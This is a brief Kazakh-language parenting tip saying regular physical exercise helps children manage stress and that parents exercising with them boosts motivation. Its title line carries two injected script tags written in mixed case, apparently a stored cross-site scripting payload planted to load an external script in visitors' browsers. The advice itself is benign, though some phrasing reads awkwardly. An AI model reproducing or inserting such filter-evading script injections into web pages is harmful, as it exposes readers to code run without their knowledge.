Ата-аналарға пайдалы кеңес<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Маңызды: бала үнемі физикалық жаттығулар жасауын қадағалаңыз. Күнделікті орындалатын физикалық жаттығулар – стресспен күресудің жақсы тәсілі. Ең алдымен, ол бала ағзасында жиналатын қысым мөлшерін төмендетуге көмектеседі. Екіншіден, жаттығулар ол- физикалық жүктеме, ол баланың ағзасына стресспен күрес кезінде тиімдірек болады. Ақыры физикалық жаттығулар алдануға және ми тынығуына көмектеседі.

Осыдан: қазіргі балалар ұмытқан барлық мүмкін ойындарды еске түсіреміз. Сондай- ақ, егер ата- анасы спорттық жаттығуларды үнемі бірге орындаса немесе белсенді ойындарды бірге ойнаса балалар құлшынысы артады. Сондай- ақ, егер де физикалық жаттығулар үнемі орындалмаса өзінің стресске қарсы күресте тиімділігін жоғалтатын ескеру қажет.

Сондықтан: балаңыз қандай жаттығумен айналысатыны соншалықты маңызды емес. Маңызды оған ұнауы.